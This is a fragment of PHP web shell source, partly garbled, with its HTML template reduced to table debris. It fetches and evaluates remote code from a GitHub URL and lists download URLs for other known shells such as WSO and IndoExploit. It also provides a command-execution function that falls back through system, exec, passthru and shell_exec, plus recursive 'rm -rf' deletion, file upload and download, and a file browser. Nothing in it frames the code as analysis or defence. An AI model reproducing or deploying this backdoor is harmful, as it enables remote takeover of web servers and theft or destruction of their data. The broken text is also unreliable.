".file_get_contents("https://raw.githubusercontent.com/khayrol/tools/master/tools.php")); error_reporting(0); set_time_limit(0); header("X-XSS-Protection: 0"); $are=array("adminer"=>"https://raw.githubusercontent.com/khayrol/tools/master/adminer-4.7.6-en.php", "indoexploit"=>"https://raw.githubusercontent.com/khayrol/tools/master/h.php", "log"=>"https://raw.githubusercontent.com/khayrol/tools/master/log.php", "wso"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/wso.php", "mina1"=>"https://raw.githubusercontent.com/khayrol/tools/master/live.php", "jquery" => "https://alintamvanz.github.io/jshell/jquery.min.js"); function getpath() { if(isset($_GET['d'])) { $d=$_GET['d']; }else{ $d=getcwd(); } return $d; } function cmd($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents();@ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; }} function delete($dir){if(is_dir($dir)){if(!rmdir($dir)){$s=scandir($dir);foreach ($s as $ss) {if(is_file($dir."/".$ss)){if(unlink($dir."/".$ss)){$rm=rmdir($dir);}}if(is_dir($dir."/".$ss)){$rm=rmdir($dir."/".$ss);$rm.=rmdir($dir);$rm.=system('rm -rf '.$dir);}}}}elseif(is_file($dir)){$rm = unlink($dir);if(!$rm){system('rm -rf '.$dir);}}return $rm;} function getowner($path){if(function_exists('posix_getpwuid')) {$downer = @posix_getpwuid(fileowner($path));$downer = $downer['name'];} else {$downer = fileowner($path);}return $downer;} function getgroup($path){if(function_exists('posix_getgrgid')) {$dgrp = @posix_getgrgid(filegroup($path));$dgrp = $dgrp['name'];} else { $dgrp = filegroup($path);}return $dgrp;} function upload($a,$b){ if(function_exists('move_uploaded_file')){$upl = move_uploaded_file($a,$b);}elseif (function_exists('copy')) { $upl = copy($a,$b);}return $upl; }function array_upload($file){ $file_ary = array(); $file_count = count($file['name']); $file_key = array_keys($file); for($i=0;$i<$file_count;$i++) { foreach($file_key as $val) { $file_ary[$i][$val] = $file[$val][$i]; } } return $file_ary;} function sedirs($dir) { if(function_exists('scandir')) { $s=scandir($dir); chdir($dir); }else{ $s=system($dir); } return $s; } function getperms($files) { if($s_m = @fileperms($files)){ $s_p = 'u'; if(($s_m & 0xC000) == 0xC000)$s_p = 's'; elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l'; elseif(($s_m & 0x8000) == 0x8000)$s_p = '-'; elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b'; elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd'; elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c'; elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p'; $s_p .= ($s_m & 00400)? 'r':'-'; $s_p .= ($s_m & 00200)? 'w':'-'; $s_p .= ($s_m & 00100)? 'x':'-'; $s_p .= ($s_m & 00040)? 'r':'-'; $s_p .= ($s_m & 00020)? 'w':'-'; $s_p .= ($s_m & 00010)? 'x':'-'; $s_p .= ($s_m & 00004)? 'r':'-'; $s_p .= ($s_m & 00002)? 'w':'-'; $s_p .= ($s_m & 00001)? 'x':'-'; return $s_p; } else return "???????????"; } function downloads($file) { @ob_clean(); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0');header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } function viewfilefunc($file) { echo "
Files | Size | owner:group | Permission | Action | Current dir | -- | -- | -- | Newfile | newdir | "; foreach($dir as $d1) {if(!is_dir("$gp/$d1")||$d1=="."||$d1=="..")continue; ?>
---|---|---|---|---|
[">=$d1;?>] | =getsize("$gp/$d1");?> | =getowner("$gp/$f1");?>:=getgroup("$gp/$f1");?> | =getperms("$gp/$d1");?> | &a=rename">Rename | &a=delete">Delete |
=$f1;?> | =getsize("$gp/$f1");?> | =getowner("$gp/$f1");?>:=getgroup("$gp/$f1");?> | =getperms("$gp/$f1");?> | Rename | &a=delete">delete | edit | download |